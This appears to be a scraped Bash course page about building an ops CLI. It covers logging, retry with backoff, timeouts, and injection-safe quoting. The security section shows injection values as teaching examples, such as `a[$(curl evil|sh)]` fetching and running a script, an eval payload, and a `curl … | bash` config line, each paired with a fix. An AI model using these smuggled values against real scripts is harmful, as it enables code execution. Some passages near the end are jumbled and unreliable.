Compared with v0.1, added: [%d] PID ($$ still the main process PID inside a subshell; to get the subshell's PID use $BASHPID), color only on terminals,OPSCTL_LOG_FILE,printf -v build the full line and write it once, and end with return 0. Kept: include guard,declare -gA (still a global variable when sourced inside a function),LOG_LEVEL set by config::init .
wc -l the result is 1.OPSCTL_LOG_FILE=~/bashlab/ch04/demo.log LOG_LEVEL=error bash logdemo.sh >/dev/null 2>&1; cat ~/bashlab/ch04/demo.log; rm -f ~/bashlab/ch04/demo.log LOG_LEVEL=verbose bash logdemo.sh 2>&1 >/dev/null | head -2
2026-11-17T02:43:15-0500 ERROR logdemo[1977]: connection timed out 2026-11-17T02:43:15-0500 INFO logdemo[1980]: starting export of servers 2026-11-17T02:43:15-0500 WARN logdemo[1980]: region is empty, using default value
unknown level verbose falls back to info. Note 2>&1 >/dev/null the order: first point stderr at the current stdout (the pipe), then discard stdout.
logger -t opsctl -p user.warning "region is empty, using default value" journalctl -t opsctl -n 1 --no-pager
Nov 17 02:20:01 linuxlab opsctl[42011]: region is empty, using default value
Problem: The Prometheus textfile collector reads check.sh > /var/lib/node_exporter/check.prom, and one day the script added a line echo "checking disk...", the entire .prom file failed to parse, and all custom metrics disappeared. Fix: change progress messages to log::info (stderr), and write the .prom file with Module 3's atomic replacement.
Problem: To troubleshoot, a line was added to a cron script: set -x,mysql -p"$DB_PASS" whose expansion ended up in the central logging platform. Fix: use --defaults-extra-file or environment variables to pass credentials; enable only locally set -x and set +x turn it off; mask known sensitive variables in the log functions. Limitation: Credentials that have already leaked must be rotated.
Problem: Logs from multi-region servers (canadacentral and ca-central-1 are set to different time zones) had timestamps without offsets, so the order was scrambled during the postmortem. Fix: Standardize on %z offsets, or TZ=UTC output UTC.
Cause: The last statement in the log function is (( rank >= want )) && printf …, so when the message is filtered out the function returns 1,set -e and the script exits.
Fix: Have the log function explicitly return 0; use || return 0 the form to filter.
Cause: The called command is an external /usr/bin/printf or Bash is below 4.2, which does not support %(fmt)T.
Fix: Confirm you use the builtin printf in Bash (do not env printf); upgrade Bash on macOS.
Cause: ANSI colors are output unconditionally. Fix: Color only when [[ -t 2 ]] and NO_COLOR is unset; the copy written to the file never has color.
Cause: A function used echo to output progress information.
grep -nE '^\s*echo ' lib/*.sh | grep -v '>&2'
Fix: Change all progress and prompt output to log::*.
Cause: Bash 3.2 (built into macOS) does not support associative arrays. Fix: Use Bash ≥ 4.4 (the opsctl v0.2 entry point checks this and exits with code 3).
TZ=UTC printf -v now '%(%Y-%m-%dT%H:%M:%SZ)T' -1; echo "$now"
opsctl servers list --env prod 2>>~/bashlab/log/opsctl.log | wc -l
$( ) to get its results. A colleague suggests adding a --quiet option to turn off progress output. Do you have a better approach?Write progress to stderr and results to stdout; the two are naturally separate,$( ) so the caller captures only the results and no --quiet is needed. --quiet is still useful, but its purpose is to lower the log level (LOG_LEVEL=warn), not to protect the data channel.
delay = min(cap, base × 2^(n-1)), and add “full jitter”sleep = random(0, delay), and understand why it avoids thundering herds.timeout to cap each individual attempt: -s,-k,--preserve-status, and the exit codes 124, 125, 126, 127, 137.timeout cannot be applied directly to shell functions, and if "$@" when calling a function, set -e is disabled, and the effect of that.| Parameter | Meaning | opsctl default |
|---|---|---|
Max attempts tries | total attempts, including the first | first argument, e.g. 5 |
Base delay delay | upper bound on the wait after the first failure (seconds), doubling each time after that | second argument, e.g. 1 |
Per-wait cap cap | the ceiling for exponential growth | RETRY_MAX_DELAY=30 |
upper bound of the wait after the n-th failure delay = min(cap, base × 2^(n-1)): 1, 2, 4, 8, 16, 30, 30, … then picks uniformly at random within [0, delay] as the actual wait (called “Full Jitter” in the AWS Architecture Blog article “Exponential Backoff And Jitter” Full Jitter).
| Situation | Exit code / signal | Retry? |
|---|---|---|
| Brief network drop, connection timeout | curl 6/7/28, etc.; timeout returns 124 | ✓ |
| HTTP 429 / 502 / 503 / 504 | curl -f returns 22 (check the status code) | ✓ (if Retry-After present, respect it) |
| Lock held by another process | flock -E the specified code | ✓ (or skip directly) |
| Usage error | 2 | ✗ retrying 100 times gives the same result |
| Command not found / not executable | 127 / 126 | ✗ |
| HTTP 400 / 401 / 403 / 404 | check the status code | ✗ (for 401, perhaps refresh the token and try once more) |
| Non-idempotent operations (creating orders, appending data) | any | ⚠ retry only if the server supports idempotency keys |
GNU coreutils timeout DURATION COMMAND: sends TERM when time is up (-s can be changed),-k DURATION and sends KILL if it has not exited afterwards. Exit codes from the manual:
| Exit code | Manual text |
|---|---|
| 124 | “if COMMAND times out, and --preserve-status is not specified” |
| 125 | “if the timeout command itself fails” |
| 126 | “if COMMAND is found but cannot be invoked” |
| 127 | “if COMMAND cannot be found” |
| 137 | “if COMMAND (or timeout itself) is sent the KILL (9) signal” |
| Other | the command's own exit code |
timeout is an external program,so it cannot directly run a shell function (measured: timeout: failed to run command 'f': No such file or directory, exit code 127). Options: export -f f; timeout 10 bash -c f, or add timeout separately to the external commands inside the function.--foreground: use when the command needs to read the terminal (but then the child's children are not killed).read -t 5,wait -n (Bash 5.1+ supports -p to get the PID),TMOUT.| options of the tool | retry / timeout |
|---|---|
| curl | --retry N (by default retries only transient errors: timeouts, 408, 429, 500, 502, 503, 504),--retry-max-time,--retry-all-errors,--connect-timeout,--max-time |
| wget | --tries,--waitretry,--timeout |
| ssh | -o ConnectTimeout=5 -o ServerAliveInterval=15 |
| apt | -o Acquire::Retries=3 |
| any command | util::retry tries delay timeout 10 cmd args… |
sleep $((2**n)) is enough” — no jitter, no cap. ③ “until cmd; do sleep 1; done is concise” — with no attempt limit, even 127 is retried forever. ④ “util::retry 3 1 my_func inside my_func fails and stops immediately” —if "$@" is a conditional context, so inside the function body set -e is disabled (Module 1); the function must itself || return.Adjust the parameters and click “▶ Simulate”. Top: the wait before each retry for a single client (box = cap, solid = actual value). Bottom: 50 clients fail simultaneously at t=0; the chart shows the distribution of their 1st–3rd retries on the timeline — compare “no jitter” and “full jitter”.
| Command | Notes |
|---|---|
timeout 10 cmd | sends TERM after 10 seconds, returns 124 |
timeout -k 5 10 cmd | sends KILL if still running 5 seconds after TERM (137) |
timeout -s INT 10 cmd | use INT instead (some programs clean up more thoroughly on INT) |
timeout --preserve-status 10 cmd | on timeout, return the command's own status (e.g. 143) instead of 124 |
timeout 0.5 cmd / 1m / 2h | supports decimals and s/m/h/d suffixes |
curl -fsS --connect-timeout 3 --max-time 10 --retry 3 URL | curl's built-in timeout and retry |
timeout 1 sleep 5; echo "timeout rc=$?"
timeout -k 1 1 bash -c 'trap "" TERM; sleep 5'; echo "kill-after rc=$?"
f(){ sleep 1; }; timeout 2 f; echo "func rc=$?"
export -f f; timeout 2 bash -c f; echo "export -f rc=$?"
timeout rc=124 … Killed timeout -k 1 1 bash -c 'trap "" TERM; sleep 5' kill-after rc=137 timeout: failed to run command 'f': No such file or directory func rc=127 export -f rc=0
In the second case the child process ignored TERM and was killed with KILL after 1 second,timeout returning 137. Ubuntu 26.04's uutils timeout supports the same options and exit-code conventions; error text may differ.
| Variable | Range | Notes |
|---|---|---|
$RANDOM | 0–32767 | pseudo-random, good enough for jitter; (RANDOM<<15)|RANDOM gives 30 bits |
$SRANDOM | 32 bits | Bash 5.1+, from the system entropy source (getrandom), unpredictable, suits scenarios that need unpredictability |
$EPOCHREALTIME | seconds.microseconds | Bash 5.0+, computes elapsed time |
util::retry <tries> <delay> <cmd> [args…] (Module 8 appends it to ~/bashlab/opsctl/lib/util.sh; Lesson 6 uses this signature directly):
# ---------- retry: exponential backoff + full jitter ----------
# util::retry <tries> <delay> <cmd> [args...]
# after the n-th failure, wait random(0, min(RETRY_MAX_DELAY, delay * 2^(n-1))) seconds
# exit codes 2 / 126 / 127 are treated as non-retryable; an optional "--" is ignored
util::retry() {
local tries=$1 base=$2; shift 2
[[ ${1-} == -- ]] && shift
local attempt=1 rc cap=${RETRY_MAX_DELAY:-30} delay ms pause
while true; do
if "$@"; then
(( attempt == 1 )) || log::info "attempt $attempt succeeded: $*"
return 0
else
rc=$?
fi
case $rc in
2|126|127) log::error "not retrying (exit $rc): $*"; return "$rc" ;;
esac
if (( attempt >= tries )); then
log::error "giving up after $tries attempts (exit $rc): $*"
return "$rc"
fi
delay=$(( base * (1 << (attempt - 1)) ))
(( delay > cap )) && delay=$cap
ms=$(( ( (RANDOM << 15) | RANDOM ) % (delay * 1000 + 1) )) # full jitter
printf -v pause '%d.%03d' $(( ms / 1000 )) $(( ms % 1000 ))
log::warn "attempt $attempt/$tries failed (exit $rc), retrying in ${pause}s"
sleep "$pause"
(( ++attempt ))
done
}
Design details: if "$@"; then … else rc=$? In the first line of the else branch, take $?, which gives the command's real exit code; use "$@" rather than string + eval (Module 7); printf -v pause '%d.%03d' generate fractional seconds with millisecond precision and pass them to sleep (GNU, BusyBox and macOS sleep all support decimals); (( ++attempt )) rather than ((attempt++)) (Module 1); an optional -- before the command is ignored.
#!/usr/bin/env bash
# test/flaky.sh N —— the first N calls fail (exit code 1), then succeed; used to demonstrate util::retry
set -euo pipefail
n=${1:?usage: flaky.sh FAILURES}
state=${FLAKY_STATE:-$(dirname -- "$0")/../var/flaky.count}
count=$(( $(cat -- "$state" 2>/dev/null || echo 0) + 1 ))
printf '%d\n' "$count" >"$state"
if (( count <= n )); then
echo "flaky: call $count -> fail" >&2
exit 1
fi
echo "flaky: call $count -> ok" >&2
rm -f -- "$state"cd ~/bashlab/opsctl && chmod +x test/flaky.sh && mkdir -p var && export NO_COLOR=1 bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 ./test/flaky.sh 2'; echo "rc=$?" RETRY_MAX_DELAY=1 bash -c '. lib/log.sh; . lib/util.sh; util::retry 3 1 false'; echo "rc=$?" bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 no-such-cmd'; echo "rc=$?" bash -c '. lib/log.sh; . lib/util.sh; util::retry 3 1 timeout 1 sleep 3'; echo "rc=$?"
flaky: call 1 -> fail 2026-11-17T02:37:40-0500 WARN opsctl[377]: attempt 1/5 failed (exit 1), retrying in 0.131s flaky: call 2 -> fail 2026-11-17T02:37:41-0500 WARN opsctl[377]: attempt 2/5 failed (exit 1), retrying in 0.815s flaky: call 3 -> ok 2026-11-17T02:37:42-0500 INFO opsctl[377]: attempt 3 succeeded: ./test/flaky.sh 2 rc=0 2026-11-17T02:37:42-0500 WARN opsctl[393]: attempt 1/3 failed (exit 1), retrying in 0.110s 2026-11-17T02:37:42-0500 WARN opsctl[393]: attempt 2/3 failed (exit 1), retrying in 0.061s 2026-11-17T02:37:42-0500 ERROR opsctl[393]: giving up after 3 attempts (exit 1): false rc=1 lib/util.sh: line 152: no-such-cmd: command not found 2026-11-17T02:37:42-0500 ERROR opsctl[396]: not retrying (exit 127): no-such-cmd rc=127 2026-11-17T02:37:43-0500 WARN opsctl[398]: attempt 1/3 failed (exit 124), retrying in 0.511s 2026-11-17T02:37:45-0500 WARN opsctl[398]: attempt 2/3 failed (exit 124), retrying in 0.396s 2026-11-17T02:37:46-0500 ERROR opsctl[398]: giving up after 3 attempts (exit 124): timeout 1 sleep 3 rc=124
Note that the wait after the 2nd failure is only 0.061 s — full jitter permits very short waits, which is normal. The line 152 in the error message is the line in v0.2 util.sh where if "$@" is located; your line number may differ.
timeout 1 sleep 3 's 124 is treated as retryable but 127 is not? If your command uses 2 to mean “temporarily unavailable”, how should you change case? (Answer: let the caller pass the list of non-retryable codes via arguments or environment variables, or wrap the command to map its exit codes to the agreed values.)Problem: The artifact repository briefly returned 503, and every node's startup script was for i in 1 2 3 4 5; do curl … && break; sleep 5; done, and waves of synchronized requests every 5 seconds kept the repository overloaded for 20 minutes. Fix: Change to exponential backoff + full jitter, capped at 60 seconds; add --max-time. Result: requests are spread out over time, and the repository recovers before the second wave.
Problem:until kubectl rollout status deploy/api; do sleep 10; done, a wrongly typed image name meant it could never succeed, until the CI platform's global timeout. Fix: attempt limit + per-attempt timeout + total time budget; kubectl rollout status --timeout=5m.
Problem: The API for creating tickets occasionally succeeded on the server but timed out in response; the script's retry then created duplicate tickets. Fix: Only automatically retry idempotent requests (GET/PUT/DELETE); for POST, use the server-supported idempotency key (Idempotency-Key header) or query first and then create.
Cause:timeout is an external command and cannot see shell functions.
Fix:export -f my_func; timeout 10 bash -c my_func (note that the bash being called does not inherit variables that were not exported), or add timeout only to the external commands inside the function.
Cause: On a few minimal systems, sleep does not support decimals. Fix: Change the backoff unit to whole seconds: sleep $(( RANDOM % (delay + 1) )).
Cause:if "$@" calls a shell function inside set -e is disabled, and the function returns the status of its last command.
Fix: Inside the function being retried, explicitly check each critical step || return; or write it as a standalone script and pass that to retry.
Cause:timeout sends the signal to the process group it started; but if the command itself further setsid or uses --foreground, grandchild processes can escape.
ps -o pid,pgid,cmd --forest -g "$(ps -o pgid= $$)"
Fix: Do not use --foreground; add -k; have the called program handle TERM correctly.
util::retry 4 2 timeout -k 5 10 curl -fsS -o out.json "$url"
echo $(( 2 * (1 << 5) )) # 64 → truncated to 30 by the cap
--max-time 20. How long can this step take in the worst case? The pipeline timeout is 3 minutes — is that appropriate?The wait caps are 1+2+4+8=15 seconds (no wait after the 5th failure); 5 requests take at most 100 seconds, for a total of about 115 seconds (actual waits are usually shorter with full jitter). That fits within 3 minutes, but if other steps follow, set a total time budget, for example with curl --retry-max-time or by checking elapsed time inside retry ($SECONDS).
No English video verified via YouTube oEmbed that specifically explains Bash retries and exponential backoff was found. Authoritative references:
-- and allowlist validation keep data as data, always* ? [), and give examples of the deletions and injections they cause.--,./*,find -print0 + read -r -d '' to safely handle filenames that start with a dash or contain spaces or newlines.eval,bash -c "$x",ssh host "cmd $x",source config files all “treat data as code”; when needed, use arrays or printf %q.(( )),[[ -gt ]],$(( )), array subscripts) evaluate variable contents and can trigger command substitution; validate numbers with a regex first.| Risk | Dangerous form | What happens | Safe form |
|---|---|---|---|
| Word splitting | rm $f (f="a b.txt") | becomes two arguments a,b.txt | rm -- "$f" |
| Pathname expansion | echo $p (p='*') | expands to all filenames in the current directory | printf '%s\n' "$p" |
| Option injection | rm * (a file named -rf exists in the directory) | the filename is treated as an option | rm -- * or rm ./* |
| eval injection | eval "echo hello $name" (name='x; reboot') | what follows the semicolon runs as a command | Do not use eval; if you must, printf -v q '%q' "$name" |
| Arithmetic injection | (( n > 1 )) (n='a[$(cmd)]') | the array subscript is evaluated,$(cmd) and the command runs | first [[ $n =~ ^[0-9]+$ ]] |
| Remote second parsing | ssh host "rm -rf $dir" | the remote shell parses it again $dir contents | ssh host "rm -rf -- $(printf %q "$dir")" |
| Config as code | source etc/app.conf | any command in a config file runs | Parse line by line against an key = value allowlist (the opsctl Lesson 3 config::load_file) |
| PATH hijacking | PATH contains . or a writable directory; root inherits the user's PATH | calls an attacker-placed ls,tar | reset PATH when running as root; use absolute paths for critical commands |
| Pattern matching | [[ $input == $allowed ]] | an unquoted right-hand side is a glob pattern,* which matches everything | [[ $input == "$allowed" ]] |
| Secret leakage | curl -u "user:$PASS",mysql -p"$PASS" | arguments appear in ps,/proc/PID/cmdline are visible to other users in | pass them from a file / stdin / a protected environment variable (such as curl --netrc-file) |
Lesson 1 covered how a command line is processed: word splitting → various expansions → word splitting and pathname expansion again on unquoted expansion results → quote removal → execution. Once data enters a variable, if it is not double-quoted at the point of use, it goes through the last two steps again. eval,bash -c,ssh,su -c,sudo sh -c,xargs (without -0) will make the data start over from the beginning and go through full parsing again, including ;,$( ), and redirection.
"$var","${arr[@]}","$(cmd)". The only exception is when you explicitly need word splitting, and then add a comment explaining it.args=(--format "$fmt" -- "$file"); tool "${args[@]}".-- to end options (rm,mv,cp,grep,cat,mkdir,command -v etc. all support it); for commands that do not support -- , prefix relative paths with ./ .find … -print0 | while IFS= read -r -d '' f,xargs -0; do not parse ls output.[[ $env =~ ^(dev|staging|prod)$ ]], numbers ^[0-9]+$, names ^[A-Za-z0-9._-]+$, and reject values starting with - . Validate before use.printf -v "$name",declare -n (nameref) or associative arrays; to pass arguments safely to another shell layer, use printf %q / ${var@Q}.EUID == 0 set to system directories when running as root); do not trust the caller's PATH,IFS,BASH_ENV,LD_PRELOAD; when using sudo , it by default passes secure_path and env_reset to handle most environment variables.umask 077 before creating sensitive files; the write path must not be in a directory that ordinary users can write to.chown -R/chmod -R on user-controllable paths (symlinks redirect the operation elsewhere); when necessary, find -P … -xdev.* is enough. ② “eval with quotes is safe” —eval "echo \"$x\"" x contains \"; cmd; \" can still escape. ③ “[[ ]] does not need quotes” — the left side does not split, but == the right side is a pattern,-gt and both sides are arithmetic expressions. ④ “set -u prevents rm -rf "$dir/" from turning into rm -rf /” — it only guards against unset, not empty strings; use "${dir:?}". ⑤ “IFS=$'\n\t' solves word splitting” — it does not prevent pathname expansion, nor does it handle filenames containing newlines.Choose or type an “untrusted value”, then choose a code form. The demonstrator shows, using simplified Bash rules, the final argument list (argv) passed to the command and whether injection occurs. Assumed files in the current directory: a.txt,b.txt,-rf. This is a teaching simulation; the rules are backed by actual run results on the “Command” page.
| Form | Effect |
|---|---|
printf '%q ' "$@" | output in a form the shell can safely re-parse |
${var@Q} | same as above (Bash 4.4+), single-quote style |
printf -v "$name" '%s' "$value" | assign to a variable whose name is held in a variable, replacing eval (validate the name first) |
declare -n ref=$name | nameref, replacing eval for indirect references (Bash 4.3+) |
find . -type f -print0 | while IFS= read -r -d '' f; do … | handle arbitrary filenames |
find … -exec cmd {} + | not parsed by the shell; passes the filename directly as an argument |
shopt -s nullglob / failglob | expands to nothing / errors when there is no match, instead of keeping *.log the literal |
command -v -- "$cmd" | look up command paths (builtins and functions are also returned) |
shellcheck script.sh | static checks (SC2086 unquoted, SC2155 local masking return values, etc.; Lesson 7) |
p='*.sh'; echo $p; echo "$p"
f='a b.txt'; printf '[%s]\n' $f; printf '[%s]\n' "$f"
name='x; echo hi'; printf '%q\n' "$name" 'a b' $'new\nline'
v="it's \$HOME"; echo "${v@Q}"
n='a[$(echo SUBST-RAN >&2)]'
(( n > 1 )) && echo big || echo small
[[ $n -gt 1 ]] && echo big || echo small
[[ $n =~ ^[0-9]+$ ]] || echo "rejected: not a number"
args=(--format "%s %s" "a b"); printf '[%s]\n' "${args[@]}"
e1.sh sec.sh sigwait.sh t2.sh *.sh [a] [b.txt] [a b.txt] x\;\ echo\ hi a\ b $'new\nline' 'it'\''s $HOME' SUBST-RAN small SUBST-RAN small rejected: not a number [--format] [%s %s] [a b]
Note lines 5–7: The variable n contents in (( )) and [[ -gt ]] are treated as arithmetic expressions,a[…] and the subscript of $(echo SUBST-RAN) actually runs (the command substitution inside it). Replacing echo with any command is remote code execution — if n comes from an HTTP parameter, a CSV field or a filename.
Work only in ~/bashlab/ch04/sec (a copy of the Lesson 1 data/files/ data) and do not change the original data. The output in this section is an example (the authoring environment's automation policy does not allow creating files starting with - ; it was not actually run), so please verify in your own environment.
make-data.sh generated 15 files: containing tabs, newlines,-n,--verbose.log,star*.txt, trailing spaces,.hidden.txt,sub dir/nested file.log etc.):
mkdir -p ~/bashlab/ch04 && cp -a -- ~/bashlab/data/files ~/bashlab/ch04/sec cd ~/bashlab/ch04/sec && ls -bA
--verbose.log -n .hidden.txt a\ b.txt new\nline.txt star*.txt sub\ dir …
If you do not have the Lesson 1 data, create a few yourself: touch -- 'a b.txt' -n $'new\nline.txt' 'star*.txt'.
for f in $(ls *.txt); do wc -l $f; done # ❌ for f in ./*.txt; do wc -l -- "$f"; done # ✅ the glob yields filenames directly; ./ and -- added
❌ The version that a b.txt splits into two arguments, splits names containing newlines, and expands star*.txt again; ls its output is also unreliable. For recursive processing, sub dir/ use find . -type f -name '*.txt' -print0 | while IFS= read -r -d '' f; do wc -l -- "$f"; done.
cat * when encountering a file named -n file:
cat * # ❌ -n and --verbose.log are treated as options (GNU cat does not recognize --verbose.log and errors out) cat -- * # ✅ or cat ./*
# ❌ set_var() { eval "$1=$2"; } set_var x 'y; touch PWNED'
set_var() { # ✅ validate the name + printf -v, do not execute the value
[[ $1 =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]] || { echo "bad name: $1" >&2; return 2; }
printf -v "$1" '%s' "$2"
}
set_var x 'y; touch PWNED'; echo "x=$x"; ls PWNED 2>/dev/null || echo "no PWNED"
x=y; touch PWNED no PWNED
count=${1:-0}
# ❌ if (( count > 10 )); then …
[[ $count =~ ^[0-9]+$ ]] || { echo "count must be a non-negative integer" >&2; exit 2; } # ✅ validate first
if (( 10#$count > 10 )); then echo "too many"; fi # 10# prevents a leading 0 from being read as octaldir='/srv/app/releases/old one' # ❌ ssh web-01 "rm -rf $dir" the remote gets rm -rf /srv/app/releases/old one (two arguments) printf -v qdir '%q' "$dir" ssh web-01 "rm -rf -- $qdir" # ✅ the remote sees one correctly escaped argument
%q output is designed for Bash; if the remote login shell is not Bash (such as dash), support for $'…' the form depends on the implementation; values containing control characters should be rejected first.
cd ~/bashlab/ch04 && rm -rf -- ./secProblem: This is a widely circulated real lesson: an install script of some open-source project had a line like rm -rf /usr /lib/nvidia-current/xorg/xorg , where an extra space in the path turned it into deleting the whole /usr. The variable version is even more hidden: rm -rf $PREFIX/lib, when PREFIX contains spaces or is empty. Fix: Quote all paths; "${PREFIX:?}"; before deleting, print and verify the path is under the expected prefix.
Problem: An inventory script read the cpu field of servers.csv and used it in (( total += cpu )). Someone entered a[$(curl evil|sh)] into the spreadsheet, and every report run executed a downloaded script. Fix: Validate numeric fields with a regex first; compute the report with awk instead (awk does not execute field contents).
Problem: The script source /etc/app/app.conf sourced a config file that the deployment group could write to; someone added a line curl … | bash to implement “auto-update”, which caused every root-run scheduled job to execute it. Fix: Only parse KEY=VALUE (the opsctl Lesson 3 config::load_file), with a key-name allowlist; config file mode 0644 root:root.
Cause: A filename starting with - is treated as an option.
Fix:rm -- "$f"; write the glob as ./*.
Cause: Non-numeric content entered an arithmetic context.
Fix: Before entering (( )),[[ -eq ]],$(( )),let,declare -i first [[ $x =~ ^-?[0-9]+$ ]].
Cause:cd $(dirname $0) unquoted.
Fix:cd -- "$(dirname -- "${BASH_SOURCE[0]}")"; use shellcheck to find all SC2086.
Cause: By default, an unmatched glob keeps the literal pattern.
Fix:shopt -s nullglob, or inside the loop [[ -e $f ]] || continue.
Cause: The password is passed as a command-line argument.
Fix: a credentials file (600 permissions), standard input (--password-stdin , etc.), restricted environment variables; rotate any exposed password immediately.
find . -maxdepth 1 -type f -name '*.tmp' -exec rm -f -- {} +args into a single command that can be run remotely over ssh.printf -v remote '%q ' "${args[@]}"; ssh host "$remote"--env option whose value will be used to build a file path "$OPSCTL_HOME/etc/$env.conf". What validation is needed?Use an allowlist ^(dev|staging|prod)$ (rather than a blocklist), which rules out ../../etc/passwd such path traversal, and also rules out values starting with - and values containing whitespace; quote paths when used; read config with config::load_file (parsed against an allowlist) rather than source.
No English video verified via YouTube oEmbed that specifically explains Bash injection and quoting safety was found. Authoritative references:
module::function,opsctl::load_command by lib/cmd_<name>.sh automatic discovery of subcommands,config::get config merging, exit codes) — upgrade opsctl to v0.2.| File | v0.1 (Lesson 3) | v0.2 (this lesson) | Module |
|---|---|---|---|
bin/opsctl | sh / Bash ≥ 4.3 / POSIX mode check,readlink -f locating,opsctl::list_commands / usage / load_command / main, global options -c -v -h -V | version requirement raised to 4.4; set -Eeuo pipefail + inherit_errexit; reset PATH when root; OPSCTL_VERSION="0.2.0"; opsctl::main first line util::setup_traps; usage lists runtime environment variables. Everything else unchanged | 1, 2, 7 |
lib/log.sh | log::debug/info/warn/error → stderr,LOG_LEVEL filtering, timestamps, include guard | add PID, color only on terminals (respects NO_COLOR),OPSCTL_LOG_FILE save a copy (no color), write whole lines at once, explicit return 0 | 5 |
lib/util.sh | util::die,usage_error,require_cmd,in_list,is_identifier,csv_split | original functions unchanged, append at the end: EX_* constants,util::setup_traps (ERR call stack / EXIT cleanup / INT TERM HUP),util::cleanup_add,util::mktemp_dir,util::lock,util::retry <tries> <delay> <cmd> [args…] | 2, 3, 4, 6 |
lib/cmd_export.sh | — | New cmd::export: opsctl export servers --out FILE [--env ENV]: allowlist validation → lock → mktemp in the same directory → generate → skip if content is identical → atomic mv | 3, 4, 7 |
lib/cmd_doctor.sh | — | New cmd::doctor: checks dependencies, data files and lock directory; after collecting all problems, exits with 3 | 1, 4 |
test/flaky.sh,var/lock/ | — | New retry demo script; lock file directory (lock files kept permanently) | 4, 6 |
lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf | , unchanged config::load_file . The v0.1 | 7 | |
is already a safe implementation that “parses line by line against an allowlist and never sources” (the approach Module 7 recommends); v0.2 reuses it directly lib/cmd_export.sh New subcommands only need to be placed in lib/cmd_doctor.sh , # opsctl-summary: and write a good opsctl::list_commands comment — v0.1's opsctl::load_command and bin/opsctl will automatically discover them,
shopt -s inherit_errexit : on Bash 3.2,util::_on_err : print the failing command and call stack; skip in subshells to avoid duplicates; return N explicit is not reported opsctl — in v0.1, return 2 with no arguments servers , return 2 with no action util::_on_exit are expected usage errors and should not print a call stack. trap - EXIT First exit "$rc" guard against re-entry, then delete the registered paths, and finallyutil::die / util::usage_error Expected failures use exit :util::cleanup_add : subcommands only call util::setup_traps to register cleanup; the entry point is unifiedutil::retry : if content is identical it is not rewritten, so downstream does not reprocess because the mtime changed (Module 4). signature of util::retry <tries> <delay> <cmd> [args…] is health/backup/deploy , and the Lesson 6 -- uses it directly; for compatibility with habit, the optionalopsctl export servers How: the execution order of oneOPSCTL_HOME sh / Bash ≥ 4.4 / POSIX mode check → strict mode → reset PATH when root → computesource .opsctl::main log.sh, util.sh, config.sh (define functions only). util::setup_traps : config::init → opsctl::load_command export→ parse global options → lib/cmd_export.sh (validate name, source cmd::export , confirmconfig::get env → util::in_list argument parsing → util::usage_error allowlist (on failure →util::lock export 10→ 2).mktemp → util::cleanup_add same directory cmp -s → chmod → mv -f→ awk generation → line-count check →When: what is still missing after v0.2 util::retry v0.2 still lacks automated tests and static checks (Lesson 7 adds them with bats-core, ShellCheck, shfmt and CI), and it does not yet really use health network operations (Lesson 6's v0.3 backup,deploy, logs report ). The Lesson 5
bash -euo pipefail ; in code you add yourself, [[ … ]] && … as the last line of a function,((i++)), and unset variables are exposed — this is exactly the purpose of hardening. ② “The ERR trap will also print util::die as a call stack” — no,exit does not trigger ERR. ③ “util::retry can retry any function” — inside the function being retried, set -e is disabled (Module 1), so the function must itself || return.Choose a scenario and click “▶ Run”. The flow lights up step by step; at the fault point it shows which mechanism takes over, what log is printed, and the final exit code and disk state. The log text and exit codes come from this lesson's actual runs of v0.2 (the lock conflict item is an example).
| Command | Description | Exit code |
|---|---|---|
opsctl -V / opsctl version | Prints opsctl 0.2.0 | 0 |
opsctl --help / opsctl help export | general help (automatically lists 4 subcommands) / subcommand help | 0 |
opsctl servers list --env prod | v0.1 subcommand, behavior unchanged | 0 / 1 / 2 |
opsctl export servers --out FILE [--env ENV] | atomic export; does not rewrite if content is unchanged | 0 / 1 / 2 / 3 |
opsctl doctor | environment check | 0 / 3 |
opsctl -v … | debug log (including lock acquired) | |
OPSCTL_LOG_FILE=~/bashlab/log/opsctl.log opsctl … | save a copy of the log | |
OPSCTL_LOCK_DIR,RETRY_MAX_DELAY,NO_COLOR | lock directory, per-retry wait cap, disable color |
#!/usr/bin/env bash set -Eeuo pipefail OPSCTL_HOME=~/bashlab/opsctl . "$OPSCTL_HOME/lib/log.sh"; . "$OPSCTL_HOME/lib/util.sh" util::setup_traps util::mktemp_dir work # deleted automatically on exit util::retry 5 1 timeout 10 curl -fsS -o "$work/status.json" https://example.com/ log::info "downloaded $(wc -c <"$work/status.json") bytes"
v0.1.0)~/bashlab/opsctl/bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf. This lab will replace bin/opsctl and lib/log.sh, in lib/util.sh append to the end of a section,add lib/cmd_export.sh,lib/cmd_doctor.sh,test/flaky.sh,var/lock/; config.sh,cmd_servers.sh,cmd_config.sh,etc/opsctl.conf remain unchanged.cat > file <<'OPSCTL_EOF' code blocks in order into ~/bashlab/opsctl and run them (each block is a complete file), then confirm with the Step 1 command.cd ~/bashlab/opsctl bin/opsctl -V && bin/opsctl servers list --env prod | head -3 git tag -l 'v0.1*' 2>/dev/null; git status --short 2>/dev/null | head # the Lesson 3 already ran git init
opsctl 0.1.0 NAME ENV REGION IP ROLE web-01 prod canadacentral 10.0.1.11 web v0.1.0
If the working tree has uncommitted changes, commit first, so you can use git diff v0.1.0 to view this lesson's changes.
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error (v0.2)
# Convention: logs always go to stderr; stdout is reserved for “data” (can be captured by pipes, redirection, $(...)).
# v0.2 adds: PID, color only on terminals (respects NO_COLOR), OPSCTL_LOG_FILE saves a copy, always returns 0
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0 # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1
declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info} # set by bin/opsctl after parsing config
log::_emit() { # log::_emit <level> <message...>
local level=$1; shift
local want=${_LOG_RANK[$LOG_LEVEL]:-20}
(( ${_LOG_RANK[$level]:-20} >= want )) || return 0
local line color='' reset=''
# %(...)T is the printf builtin time format (Bash 4.2+); no need to fork a date process
printf -v line '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s[%d]: %s' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$$" "$*"
if [[ -t 2 && -z ${NO_COLOR-} ]]; then
case $level in
debug) color=$'\e[2m' ;; warn) color=$'\e[33m' ;; error) color=$'\e[31m' ;;
esac
[[ -n $color ]] && reset=$'\e[0m'
fi
